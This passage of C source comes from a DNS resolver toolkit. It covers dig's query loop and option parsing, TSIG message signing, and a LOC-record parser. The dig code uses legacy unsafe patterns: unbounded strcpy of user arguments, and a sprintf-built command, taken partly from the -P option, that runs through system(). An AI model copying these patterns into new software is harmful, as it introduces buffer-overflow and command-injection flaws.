= args; while (*vtmp != NULL) { if (strcmp(*vtmp, "-h") == 0 || strcmp(*vtmp, "-help") == 0 || strcmp(*vtmp, "-usage") == 0 || strcmp(*vtmp, "help") == 0) { Usage(); exit(0); } if (strcmp(*vtmp, "-f") == 0) { dofile++; once=0; if ((qfp = fopen(*++vtmp, "r")) == NULL) { fflush(stdout); perror("file open"); fflush(stderr); exit(10); } } else { if (ax - args == DIG_MAXARGS) { fprintf(stderr, "dig: too many arguments\n"); exit(10); } *ax++ = *vtmp; } vtmp++; } gettimeofday(&tv1, NULL); /* * Main section: once if cmd-line query * while !EOF if batch mode */ *fileq = '\0'; while ((dofile && fgets(fileq, sizeof fileq, qfp) != NULL) || (!dofile && once--)) { if (*fileq == '\n' || *fileq == '#' || *fileq==';') { printf("%s", fileq); /* echo but otherwise ignore */ continue; /* blank lines and comments */ } /* * "Sticky" requests that before current parsing args * return to current "working" environment (X******). */ if (sticky) { printf(";; (using sticky settings)\n"); res = res_x; } /* * Concat cmd-line and file args. */ stackarg(fileq, ax); /* defaults */ queryType = ns_t_ns; queryClass = ns_c_in; xfr = ns_t_invalid; *pingstr = 0; srv = NULL; sprintf(cmd, "\n; <<>> DiG %s (libbind %d) <<>> ", VSTRING, __RES); argv = args; /* argc = ax - args; */ /* * More cmd-line options than anyone should ever have to * deal with .... */ while (*(++argv) != NULL && **argv != '\0') { if (strlen(cmd) + strlen(*argv) + 2 > sizeof (cmd)) { fprintf(stderr, "Argument too large for input buffer\n"); exit(1); } strcat(cmd, *argv); strcat(cmd, " "); if (**argv == '@') { srv = (*argv+1); continue; } if (**argv == '%') continue; if (**argv == '+') { setopt(*argv+1); continue; } if (**argv == '=') { ixfr_serial = strtoul(*argv+1, NULL, 0); continue; } if (strncmp(*argv, "-nost", 5) == 0) { sticky = 0; continue; } else if (strncmp(*argv, "-st", 3) == 0) { sticky++; continue; } else if (strncmp(*argv, "-envsa", 6) == 0) { envsave++; continue; } else if (strncmp(*argv, "-envse", 6) == 0) { envset++; continue; } if (**argv == '-') { switch (argv[0][1]) { case 'T': if (*++argv == NULL) printf("; no arg for -T?\n"); else wait = atoi(*argv); break; case 'c': if(*++argv == NULL) printf("; no arg for -c?\n"); else if ((tmp = atoi(*argv)) || *argv[0] == '0') { queryClass = tmp; } else if ((tmp = StringToClass(*argv, 0, NULL) ) != 0) { queryClass = tmp; } else { printf( "; invalid class specified\n" ); } break; case 't': if (*++argv == NULL) printf("; no arg for -t?\n"); else if ((tmp = atoi(*argv)) || *argv[0]=='0') { if (ns_t_xfr_p(tmp)) { xfr = tmp; } else { queryType = tmp; qtypeSet++; } } else if ((tmp = StringToType(*argv, 0, NULL) ) != 0) { if (ns_t_xfr_p(tmp)) { xfr = tmp; } else { queryType = tmp; qtypeSet++; } } else { printf( "; invalid type specified\n" ); } break; case 'x': if (!qtypeSet) { queryType = T_ANY; qtypeSet++; } if ((addrc = *++argv) == NULL) { printf("; no arg for -x?\n"); break; } r = inet_pton(AF_INET6, addrc, &in6); if (r > 0) { reverse6(domain, &in6); break; } addrend = addrc + strlen(addrc); if (*addrend == '.') *addrend = '\0'; *domain = '\0'; while ((addrbegin = strrchr(addrc,'.'))) { strcat(domain, addrbegin+1); strcat(domain, "."); *addrbegin = '\0'; } strcat(domain, addrc); strcat(domain, ".in-addr.arpa."); break; case 'p': if (argv[0][2] != '\0') port = htons(atoi(argv[0]+2)); else if (*++argv == NULL) printf("; no arg for -p?\n"); else port = htons(atoi(*argv)); break; case 'P': if (argv[0][2] != '\0') { strcpy(pingstr, argv[0]+2); pingfmt = "%s %s 56 3 | %s -3"; } else { strcpy(pingstr, DIG_PING); pingfmt = DIG_PINGFMT; } break; case 'n': if (argv[0][2] != '\0') res.ndots = atoi(argv[0]+2); else if (*++argv == NULL) printf("; no arg for -n?\n"); else res.ndots = atoi(*argv); break; case 'b': { char *a, *p; if (argv[0][2] != '\0') a = argv[0]+2; else if (*++argv == NULL) { printf("; no arg for -b?\n"); break; } else a = *argv; if ((p = strchr(a, ':')) != NULL) { *p++ = '\0'; lport = htons(atoi(p)); } else lport = htons(0); if (inet_pton(AF_INET6, a, &myaddress6.sin6_addr) == 1) { myaddress6.sin6_port = lport; } else if (!inet_aton(a, &myaddress.sin_addr)) { fprintf(stderr, ";; bad -b addr\n"); exit(1); } else myaddress.sin_port = lport; } break; case 'k': /* -k keydir:keyname */ if (argv[0][2] != '\0') keyfile = argv[0]+2; else if (*++argv == NULL) { printf("; no arg for -k?\n"); break; } else keyfile = *argv; keyname = strchr(keyfile, ':'); if (keyname == NULL) { fprintf(stderr, "key option argument should be keydir:keyname\n"); exit(1); } *keyname++='\0'; break; } /* switch - */ continue; } /* if '-' */ if ((tmp = StringToType(*argv, -1, NULL)) != -1) { if ((T_ANY == tmp) && anyflag++) { queryClass = C_ANY; continue; } if (ns_t_xfr_p(tmp) && (tmp == ns_t_axfr || (res.options & RES_USEVC) != 0) ) { res.pfcode = PRF_ZONE; xfr = (ns_type)tmp; } else { queryType = tmp; qtypeSet++; } } else if ((tmp = StringToClass(*argv, -1, NULL)) != -1) { queryClass = tmp; } else { memset(domain, 0, sizeof domain); sprintf(domain,"%s",*argv); } } /* while argv remains */ /* process key options */ if (keyfile) { #ifdef PARSE_KEYFILE int i, n1; char buf[BUFSIZ], *p; FILE *fp = NULL; int file_major, file_minor, alg; fp = fopen(keyfile, "r"); if (fp == NULL) { perror(keyfile); exit(1); } /* Now read the header info from the file. */ i = fread(buf, 1, BUFSIZ, fp); if (i < 5) { fclose(fp); exit(1); } fclose(fp); p = buf; n=strlen(p); /* get length of strings */ n1=strlen("Private-key-format: v"); if (n1 > n || strncmp(buf, "Private-key-format: v", n1)) { fprintf(stderr, "Invalid key file format\n"); exit(1); /* not a match */ } p+=n1; /* advance pointer */ sscanf((char *)p, "%d.%d", &file_major, &file_minor); /* should do some error checking with these someday */ while (*p++!='\n'); /* skip to end of line */ n=strlen(p); /* get length of strings */ n1=strlen("Algorithm: "); if (n1 > n || strncmp(p, "Algorithm: ", n1)) { fprintf(stderr, "Invalid key file format\n"); exit(1); /* not a match */ } p+=n1; /* advance pointer */ if (sscanf((char *)p, "%d", &alg)!=1) { fprintf(stderr, "Invalid key file format\n"); exit(1); } while (*p++!='\n'); /* skip to end of line */ n=strlen(p); /* get length of strings */ n1=strlen("Key: "); if (n1 > n || strncmp(p, "Key: ", n1)) { fprintf(stderr, "Invalid key file format\n"); exit(1); /* not a match */ } p+=n1; /* advance pointer */ pp=p; while (*pp++!='\n'); /* skip to end of line, * terminate it */ *--pp='\0'; key.data=malloc(1024*sizeof(char)); key.len=b64_pton(p, key.data, 1024); strcpy(key.name, keyname); strcpy(key.alg, "HMAC-MD5.SIG-ALG.REG.INT"); #else /* use the dst* routines to parse the key files * * This requires that both the .key and the .private * files exist in your cwd, so the keyfile parmeter * here is assumed to be a path in which the * K*.{key,private} files exist. */ DST_KEY *dst_key; char cwd[PATH_MAX+1]; if (getcwd(cwd, PATH_MAX)==NULL) { perror("unable to get current directory"); exit(1); } if (chdir(keyfile)<0) { fprintf(stderr, "unable to chdir to %s: %s\n", keyfile, strerror(errno)); exit(1); } dst_init(); dst_key = dst_read_key(keyname, 0 /* not used for priv keys */, KEY_HMAC_MD5, DST_PRIVATE); if (!dst_key) { fprintf(stderr, "dst_read_key: error reading key\n"); exit(1); } key.data=malloc(1024*sizeof(char)); dst_key_to_buffer(dst_key, key.data, 1024); key.len=dst_key->dk_key_size; strcpy(key.name, keyname); strcpy(key.alg, "HMAC-MD5.SIG-ALG.REG.INT"); if (chdir(cwd)<0) { fprintf(stderr, "unable to chdir to %s: %s\n", cwd, strerror(errno)); exit(1); } #endif } if (res.pfcode & 0x80000) printf("; pfcode: %08lx, options: %08lx\n", (unsigned long)res.pfcode, (unsigned long)res.options); /* * Current env. (after this parse) is to become the * new "working" environmnet. Used in conj. with sticky. */ if (envset) { res_x = res; envset = 0; } /* * Current env. (after this parse) is to become the * new default saved environmnet. Save in user specified * file if exists else is SAVEENV (== "DiG.env"). */ if (envsave) { afile = (char *) getenv("LOCALDEF"); if ((afile && ((fp = open(afile, O_WRONLY|O_CREAT|O_TRUNC, S_IREAD|S_IWRITE)) > 0)) || ((fp = open(SAVEENV, O_WRONLY|O_CREAT|O_TRUNC, S_IREAD|S_IWRITE)) > 0)) { write(fp, (char *)&res, (sizeof res)); close(fp); } envsave = 0; } if (res.pfcode & RES_PRF_CMD) printf("%s\n", cmd); anyflag = 0; /* * Find address of server to query. If not dot-notation, then * try to resolve domain-name (if so, save and turn off print * options, this domain-query is not the one we want. Restore * user options when done. * Things get a bit wierd since we need to use resolver to be * able to "put the resolver to work". */ if (srv != NULL) { int nscount = 0; union res_sockaddr_union u[MAXNS]; struct addrinfo *answer = NULL; struct addrinfo *cur = NULL; struct addrinfo hint; memset(u, 0, sizeof(u)); res_t = res; res_ninit(&res); res.pfcode = 0; res.options = RES_DEFAULT; memset(&hint, 0, sizeof(hint)); hint.ai_socktype = SOCK_DGRAM; if (!getaddrinfo(srv, NULL, &hint, &answer)) { res = res_t; cur = answer; for (cur = answer; cur != NULL; cur = cur->ai_next) { if (nscount == MAXNS) break; switch (cur->ai_addr->sa_family) { case AF_INET6: u[nscount].sin6 = *(struct sockaddr_in6*)cur->ai_addr; u[nscount++].sin6.sin6_port = port; break; case AF_INET: u[nscount].sin = *(struct sockaddr_in*)cur->ai_addr; u[nscount++].sin.sin_port = port; break; } } if (nscount != 0) res_setservers(&res, u, nscount); freeaddrinfo(answer); } else { res = res_t; fflush(stdout); fprintf(stderr, "; Bad server: %s -- using default server and timer opts\n", srv); fflush(stderr); srv = NULL; } printf("; (%d server%s found)\n", res.nscount, (res.nscount==1)?"":"s"); res.id += res.retry; } if (ns_t_xfr_p(xfr)) { int i; int nscount; union res_sockaddr_union u[MAXNS]; nscount = res_getservers(&res, u, MAXNS); for (i = 0; i < nscount; i++) { int x; if (keyfile) x = printZone(xfr, domain, &u[i].sin, &key); else x = printZone(xfr, domain, &u[i].sin, NULL); if (res.pfcode & RES_PRF_STATS) { exectime = time(NULL); printf(";; FROM: %s to SERVER: %s\n", myhostname, p_sockun(u[i], ubuf, sizeof(ubuf))); printf(";; WHEN: %s", ctime(&exectime)); } if (!x) break; /* success */ } fflush(stdout); continue; } if (*domain && !qtypeSet) { queryType = T_A; qtypeSet++; } bytes_out = n = res_nmkquery(&res, QUERY, domain, queryClass, queryType, NULL, 0, NULL, packet, sizeof packet); if (n < 0) { fflush(stderr); printf(";; res_nmkquery: buffer too small\n\n"); fflush(stdout); continue; } if (queryType == T_IXFR) { HEADER *hp = (HEADER *) packet; u_char *cpp = packet + bytes_out; hp->nscount = htons(1+ntohs(hp->nscount)); n = dn_comp(domain, cpp, (sizeof packet) - (cpp - packet), NULL, NULL); cpp += n; PUTSHORT(T_SOA, cpp); /* type */ PUTSHORT(C_IN, cpp); /* class */ PUTLONG(0, cpp); /* ttl */ PUTSHORT(22, cpp); /* dlen */ *cpp++ = 0; /* mname */ *cpp++ = 0; /* rname */ PUTLONG(ixfr_serial, cpp); PUTLONG(0xDEAD, cpp); /* Refresh */ PUTLONG(0xBEEF, cpp); /* Retry */ PUTLONG(0xABCD, cpp); /* Expire */ PUTLONG(0x1776, cpp); /* Min TTL */ bytes_out = n = cpp - packet; }; #if defined(RES_USE_EDNS0) && defined(RES_USE_DNSSEC) if (n > 0 && (res.options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0) bytes_out = n = res_nopt(&res, n, packet, sizeof(packet), 4096); #endif eecode = 0; if (res.pfcode & RES_PRF_HEAD1) fp_resstat(&res, stdout); (void) gettimeofday(&start_time, NULL); if (keyfile) n = res_nsendsigned(&res, packet, n, &key, answer.b, sizeof(answer.b)); else n = res_nsend(&res, packet, n, answer.b, sizeof(answer.b)); if ((bytes_in = n) < 0) { fflush(stdout); n = 0 - n; if (keyfile) strcpy(msg, ";; res_nsendsigned"); else strcpy(msg, ";; res_nsend"); perror(msg); fflush(stderr); if (!dofile) { if (eecode) exit(eecode); else exit(9); } } (void) gettimeofday(&end_time, NULL); if (res.pfcode & RES_PRF_STATS) { union res_sockaddr_union u[MAXNS]; (void) res_getservers(&res, u, MAXNS); query_time = difftv(start_time, end_time); printf(";; Total query time: "); prnttime(query_time); putchar('\n'); exectime = time(NULL); printf(";; FROM: %s to SERVER: %s\n", myhostname, p_sockun(u[RES_GETLAST(res)], ubuf, sizeof(ubuf))); printf(";; WHEN: %s", ctime(&exectime)); printf(";; MSG SIZE sent: %d rcvd: %d\n", bytes_out, bytes_in); } fflush(stdout); /* * Argh ... not particularly elegant. Should put in *real* ping code. * Would necessitate root priviledges for icmp port though! */ if (*pingstr && srv != NULL) { sprintf(doping, pingfmt, pingstr, srv, DIG_TAIL); system(doping); } putchar('\n'); /* * Fairly crude method and low overhead method of keeping two * batches started at different sites somewhat synchronized. */ gettimeofday(&tv2, NULL); delay = (int)(tv2.tv_sec - tv1.tv_sec); if (delay < wait) { sleep(wait - delay); } tv1 = tv2; } return (eecode); }
void __putlong (DWORD var, BYTE *ptr) /* in <resolv.h> */ { PUTLONG (var, ptr); }
int ns_sign2(u_char *msg, int *msglen, int msgsize, int error, void *k, const u_char *querysig, int querysiglen, u_char *sig, int *siglen, time_t in_timesigned, u_char **dnptrs, u_char **lastdnptr) { HEADER *hp = (HEADER *)msg; DST_KEY *key = (DST_KEY *)k; u_char *cp, *eob; u_char *lenp; u_char *alg; int n; time_t timesigned; u_char name[NS_MAXCDNAME]; dst_init(); if (msg == NULL || msglen == NULL || sig == NULL || siglen == NULL) return (-1); cp = msg + *msglen; eob = msg + msgsize; /* Name. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) { n = ns_name_pton(key->dk_key_name, name, sizeof name); if (n != -1) n = ns_name_pack(name, cp, eob - cp, (const u_char **)dnptrs, (const u_char **)lastdnptr); } else { n = ns_name_pton("", name, sizeof name); if (n != -1) n = ns_name_pack(name, cp, eob - cp, NULL, NULL); } if (n < 0) return (NS_TSIG_ERROR_NO_SPACE); cp += n; /* Type, class, ttl, length (not filled in yet). */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ); PUTSHORT(ns_t_tsig, cp); PUTSHORT(ns_c_any, cp); PUTLONG(0, cp); /*%< TTL */ lenp = cp; cp += 2; /* Alg. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) { if (key->dk_alg != KEY_HMAC_MD5) return (-ns_r_badkey); n = dn_comp(NS_TSIG_ALG_HMAC_MD5, cp, eob - cp, NULL, NULL); } else n = dn_comp("", cp, eob - cp, NULL, NULL); if (n < 0) return (NS_TSIG_ERROR_NO_SPACE); alg = cp; cp += n; /* Time. */ BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ); PUTSHORT(0, cp); timesigned = time(NULL); if (error != ns_r_badtime) PUTLONG(timesigned, cp); else PUTLONG(in_timesigned, cp); PUTSHORT(NS_TSIG_FUDGE, cp); /* Compute the signature. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) { void *ctx; u_char buf[NS_MAXCDNAME], *cp2; int n; dst_sign_data(SIG_MODE_INIT, key, &ctx, NULL, 0, NULL, 0); /* Digest the query signature, if this is a response. */ if (querysiglen > 0 && querysig != NULL) { u_int16_t len_n = htons(querysiglen); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, (u_char *)&len_n, INT16SZ, NULL, 0); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, querysig, querysiglen, NULL, 0); } /* Digest the message. */ dst_sign_data(SIG_MODE_UPDATE, key, &ctx, msg, *msglen, NULL, 0); /* Digest the key name. */ n = ns_name_ntol(name, buf, sizeof(buf)); INSIST(n > 0); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0); /* Digest the class and TTL. */ cp2 = buf; PUTSHORT(ns_c_any, cp2); PUTLONG(0, cp2); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, cp2-buf, NULL, 0); /* Digest the algorithm. */ n = ns_name_ntol(alg, buf, sizeof(buf)); INSIST(n > 0); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0); /* Digest the time signed, fudge, error, and other data */ cp2 = buf; PUTSHORT(0, cp2); /*%< Top 16 bits of time */ if (error != ns_r_badtime) PUTLONG(timesigned, cp2); else PUTLONG(in_timesigned, cp2); PUTSHORT(NS_TSIG_FUDGE, cp2); PUTSHORT(error, cp2); /*%< Error */ if (error != ns_r_badtime) PUTSHORT(0, cp2); /*%< Other data length */ else { PUTSHORT(INT16SZ+INT32SZ, cp2); /*%< Other data length */ PUTSHORT(0, cp2); /*%< Top 16 bits of time */ PUTLONG(timesigned, cp2); } dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, cp2-buf, NULL, 0); n = dst_sign_data(SIG_MODE_FINAL, key, &ctx, NULL, 0, sig, *siglen); if (n < 0) return (-ns_r_badkey); *siglen = n; } else *siglen = 0; /* Add the signature. */ BOUNDS_CHECK(cp, INT16SZ + (*siglen)); PUTSHORT(*siglen, cp); memcpy(cp, sig, *siglen); cp += (*siglen); /* The original message ID & error. */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ); PUTSHORT(ntohs(hp->id), cp); /*%< already in network order */ PUTSHORT(error, cp); /* Other data. */ BOUNDS_CHECK(cp, INT16SZ); if (error != ns_r_badtime) PUTSHORT(0, cp); /*%< Other data length */ else { PUTSHORT(INT16SZ+INT32SZ, cp); /*%< Other data length */ BOUNDS_CHECK(cp, INT32SZ+INT16SZ); PUTSHORT(0, cp); /*%< Top 16 bits of time */ PUTLONG(timesigned, cp); } /* Go back and fill in the length. */ PUTSHORT(cp - lenp - INT16SZ, lenp); hp->arcount = htons(ntohs(hp->arcount) + 1); *msglen = (cp - msg); return (0); }
/* * Converts a zone file representation in a string to an RDATA * on-the-wire representation. */ int loc_aton (const char *ascii, u_char *binary) { char *cp, *maxcp; BYTE *bcp; DWORD latit = 0, longit = 0, alt = 0; DWORD lltemp1 = 0, lltemp2 = 0; int altmeters = 0; int altfrac = 0; int altsign = 1; BYTE hp = 0x16; /* default = 1e6 cm = 10000.00m = 10km */ BYTE vp = 0x13; /* default = 1e3 cm = 10.00m */ BYTE siz = 0x12; /* default = 1e2 cm = 1.00m */ int which1 = 0; int which2 = 0; cp = (char*)ascii; maxcp = cp + strlen (ascii); lltemp1 = latlon2ul (&cp, &which1); lltemp2 = latlon2ul (&cp, &which2); switch (which1 + which2) { case 3: /* 1 + 2, the only valid combination */ if (which1 == 1 && which2 == 2) /* normal case */ { latit = lltemp1; longit = lltemp2; } else if (which1 == 2 && which2 == 1) /* reversed */ { longit = lltemp1; latit = lltemp2; } else /* some kind of brokenness */ return (0); break; default: /* we didn't get one of each */ return (0); } /* altitude */ if (*cp == '-') { altsign = -1; cp++; } if (*cp == '+') ++cp; while (isdigit(*cp)) altmeters = altmeters * 10 + (*cp++ - '0'); if (*cp == '.') /* decimal meters */ { cp++; if (isdigit(*cp)) { altfrac = (*cp++ - '0') * 10; if (isdigit(*cp)) altfrac += (*cp++ - '0'); } } alt = (10000000 + (altsign * (altmeters * 100 + altfrac))); while (!isspace(*cp) && (cp < maxcp)) cp++; /* if trailing garbage or m */ while (isspace(*cp) && (cp < maxcp)) cp++; if (cp >= maxcp) goto defaults; siz = precsize_aton (&cp); while (!isspace(*cp) && (cp < maxcp)) /* if trailing garbage or m */ cp++; while (isspace(*cp) && (cp < maxcp)) cp++; if (cp >= maxcp) goto defaults; hp = precsize_aton (&cp); while (!isspace(*cp) && (cp < maxcp)) /* if trailing garbage or m */ cp++; while (isspace(*cp) && (cp < maxcp)) cp++; if (cp >= maxcp) goto defaults; vp = precsize_aton(&cp); defaults: bcp = binary; *bcp++ = (BYTE) 0; /* version byte */ *bcp++ = siz; *bcp++ = hp; *bcp++ = vp; PUTLONG (latit,bcp); PUTLONG (longit,bcp); PUTLONG (alt,bcp); return (16); /* size of RR in octets */ }